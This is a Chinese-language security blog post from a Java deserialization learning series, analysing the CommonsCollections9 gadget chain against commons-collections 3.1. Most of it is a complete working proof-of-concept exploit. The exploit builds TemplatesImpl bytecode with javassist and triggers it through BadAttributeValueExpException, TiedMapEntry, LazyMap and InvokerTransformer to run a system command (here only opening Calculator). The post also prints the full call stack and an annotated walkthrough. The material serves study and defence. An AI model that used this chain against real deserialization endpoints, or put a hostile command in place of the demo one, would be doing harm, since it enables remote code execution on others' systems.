南溟丷

在这浩瀚星河的你是什么

0%

Java反序列化修炼计划 CommonsCollections9

CC8+CC5

影响版本

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC9 {
public static void main(String[] args) throws Exception {
// 字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

// CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][] {classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
BadAttributeValueExpException exception = new BadAttributeValueExpException(1);

setFieldValue(exception, "val", tiedMapEntry);
setFieldValue(transformer, "iMethodName", "newTransformer");

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC9"));
outputStream.writeObject(exception);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC9"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value)
throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat88341941093958
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:57, CC9

分析

TreeBag换成了BadAttributeValueExpException+LazyMap来触发,也没啥好说的,简单过一遍。

BadAttributeValueExpException#readObject调用了valObj.toString(),此时valObjTiedMapEntry,因此跳到TiedMapEntry#toString

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

然后TiedMapEntry#toStringTiedMapEntry#getValue,此时mapLazyMap

1
2
3
public Object getValue() {
return map.get(key);
}

因此触发LazyMap#get,而这时factoryInvokerTransformerkeyTemplatesImpl

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

InvokerTransformer#transform反射调用,执行TemplatesImpl#newTransformer,反射执行恶意字节码。

1
2
3
4
5
6
7
public Object transform(Object input) {
// ...
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
// ...
}

Refer

CommonsCollections9